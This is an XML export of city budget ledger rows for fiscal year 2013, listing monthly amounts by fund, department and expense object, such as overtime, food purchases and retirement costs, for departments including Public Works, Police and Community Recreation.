<row _id="1898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1559.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1575.0</total></row>
<row _id="1899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>405490.0</object><object_description>PARCEL TAX ASSESSMENT</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-2937600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2937600.0</total></row>
<row _id="1900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="1901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2050</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>74695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>74695.0</total></row>
<row _id="1903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>790202.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>790202.0</total></row>
<row _id="1904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>276000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-276000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15699.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-450</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15249.0</total></row>
<row _id="1906"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="1907"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="1908"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="1909"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="1910"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-699051.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-699051.0</total></row>
<row _id="1911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405220.0</object><object_description>MAIN ST-LIGHTS &amp; SIDEWLK CLEAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-2661.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2661.0</total></row>
<row _id="1912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>310945.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3109</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>314054.0</total></row>
<row _id="1913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125.0</total></row>
<row _id="1914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>594.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>594.0</total></row>
<row _id="1915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="1916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4080.0</total></row>
<row _id="1917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="1918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="1919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="1920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22595.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22595.0</total></row>
<row _id="1921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1280.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1280.0</total></row>
<row _id="1922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522630.0</object><object_description>OFFICE RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>137000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137000.0</total></row>
<row _id="1923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9578.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9578.0</total></row>
<row _id="1924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="1925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>55000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55000.0</total></row>
<row _id="1926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1927"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16733.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16733.0</total></row>
<row _id="1928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="1929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="1930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407940.0</object><object_description>GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-175000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-175000.0</total></row>
<row _id="1931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406980.0</object><object_description>PBAD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-32336.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32336.0</total></row>
<row _id="1932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14773.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14773.0</total></row>
<row _id="1933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2601.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2601.0</total></row>
<row _id="1934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533680.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43227.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43227.0</total></row>
<row _id="1936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="1937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1480.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1480.0</total></row>
<row _id="1938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39942.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>399</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40341.0</total></row>
<row _id="1939"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>124159.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1242</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125401.0</total></row>
<row _id="1940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28722.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>287</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29009.0</total></row>
<row _id="1941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7099.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>71</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7170.0</total></row>
<row _id="1942"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="1943"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>158844.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1588</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>160432.0</total></row>
<row _id="1944"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-11688</april><may>0</may><june>0.0</june><total>-11688.0</total></row>
